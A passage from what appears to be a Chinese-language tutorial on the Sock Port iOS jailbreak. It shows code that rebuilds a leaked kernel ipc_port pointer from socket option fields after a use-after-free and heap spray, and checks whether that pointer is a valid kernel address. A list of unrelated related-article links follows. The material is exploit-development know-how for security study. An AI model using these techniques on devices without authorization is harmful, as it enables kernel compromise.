minmtu 和 ip6po_prefer_tempaddr 分別位於該結構體的 +180 和 +184 區域，由於每個 pointer 是 8B，最近的 pointer 位於 +176 ~ +184 和 +184 ~ + 192 區域，因此通過 minmtu 我們能讀到前一個 pointer 的高 32 位，通過 ip6po_prefer_tempaddr 能讀到下一個指標的低 32 位，又因為 Heap Spraying 成功後這些 pointer 都是指向 target ipc_port 的，所以我們可以用他們拼接出一個完整的 pointer address，拼接方法是將 minmtu 左移 32 位或上 ip6po_prefer_tempaddr：

uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
複製程式碼

判斷是否是核心物件指標的地址

下面最關鍵的步驟是如何判斷這是一個有效地核心地址，這裡需要兩個基礎知識：

如果記憶體中的內容是 0xdeadbeef，則說明這塊區域尚未完成初始化[3]；
根據 XNU 中 mach/arm/vm_param.h 中的定義，核心地址的有效範圍是從 0xffffffe000000000 ~ 0xfffffff3ffffffff，一般而言 port address 的高 32 位是 0xffffffe。

綜合以上兩點有以下判斷程式碼：

if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
    mach_port_destroy(mach_task_self(), p);
    close(sock);
    return ptr;
}
複製程式碼

如果滿足條件，此時我們已經拿到了 port address。

總結

本文先介紹了 Mach port 的使用者空間與核心空間表示及其功能；隨後簡單介紹了 Sock Port 的實現機理；接著以漏洞的第一個關鍵點（通過 OOL Message 洩露 Port Addr）為切入點，結合 XNU 原始碼深入分析了 OOL Message 實現 ipc_port pointers Spraying 的原理；最後結合 Sock Port 原始碼分析了拿到 Port Address 的過程。

通過這一節的學習，相信你對 Mach port 的整套機制和 Heap Spraying 有了更加深入的認識。

下節預告

通過 Socket UAF 不僅能實現洩露 Port Address，還能實現任意地址的讀取和任意核心 zone 的釋放。在下一節中，我們將介紹基於 IOSurface 的 Heap Spraying 與 Socket UAF 組合來實現上述 Primitives 的原理和過程。

參考資料

iOS Jailbreak Principles - Sock Port 漏洞解析（四）The tfp0 !
2019-12-08
iOSAI
iOS Jailbreak Principles - Sock Port 漏洞解析（三）IOSurface Heap Spraying
2019-12-01
iOSAI
iOS Jailbreak Principles - Sock Port 漏洞解析（一）UAF 與 Heap Spraying
2019-11-17
iOSAI
iOS Jailbreak Principles - Undecimus 分析（二）通過 String XREF 定位核心資料
2019-12-29
iOSAI
iOS Jailbreak Principles - Undecimus 分析（三）通過 IOTrap 實現核心任意程式碼執行
2020-01-12
iOSAI
iOS Jailbreak Principles - Undecimus 分析（一）Escape from Sandbox
2019-12-15
iOSAI
iOS Jailbreak Principles - Undecimus 分析（四）繞過 A12 的 PAC 實現 kexec
2020-02-11
iOSAI
listen原始碼分析第一篇 address:port分析
2019-02-18
原始碼
location.port
2018-10-08
find process by port
2024-05-29
The Tomcat connector configured to listen on port 80 failed to start. The port may already be in
2021-01-04
TomcatAI
docker 修改port 埠
2019-02-28
Docker
URL port 屬性
2020-05-18
kubectl port-forward
2024-10-15
Forward
理解I/O Completion Port
2020-04-07
kubectl port-forward 指令
2024-06-05
Forward
ip:port 正規表示式
2018-10-26
中移鐵通禹路由 ExportSettings 敏感資訊洩露漏洞
2024-05-14
路由Export
iOS逆向之五 MACH O檔案解析
2019-04-04
iOSMac
Emlog漏洞————敏感資訊洩露
2018-06-05
漏洞利用之資訊洩露
2024-04-29
DB2 Port (Network Security) Requirements
2021-12-22
DB2UIREM
ssh: connect to host localhost port 22: Connection refused
2018-03-09
localhost
【bash】關於 /dev/(tcp|udp)/${HOST}/${PORT}
2024-05-24
devTCPUDP
Failed to connect to raw.githubusercontent.com port 443
2020-01-21
AIGithub
raw.githubusercontent.com port 443: Connection refused
2020-10-25
Github
如何防止 goroutine 洩露（二）
2019-07-28
Go
Dynamics CRM Connectivity and Firewall Port Requirements——CRM安裝
2019-01-10
UIREM
kafka java.rmi.server.ExportException: Port already in use
2018-08-30
KafkaJavaServerExportException
Caused by: java.lang.IllegalArgumentException: port out of range:-1
2020-10-14
JavaException
CentOS 7.5 modify the sshd port with SElinux and Firewalld Service running
2021-02-22
CentOSLinux
Error waiting for a debug connection: ProcessException: adb did not report forwarded port
2018-10-10
ErrorAIExceptionForward
Error on opening a connection to slave1:33061 on local port: 33061
2020-02-16
Error
RPC: Port mapper failure - Unable to receive: errno 113 (No route to host)
2020-09-29
RPCAPPAI
獲取pytdx行情伺服器ip和port
2024-10-10
伺服器
Oracle 19c Database Configure the HTTPS Port for EM Express
2020-12-10
OracleDatabaseHTTPExpress
通過 Mach-O 檔案動態分析進行 iOS load 方法耗時檢測
2019-03-04
MaciOS
AMD、蘋果、高通GPU存在漏洞，可致AI模型訓練資料洩露
2024-01-19
蘋果GPUAI模型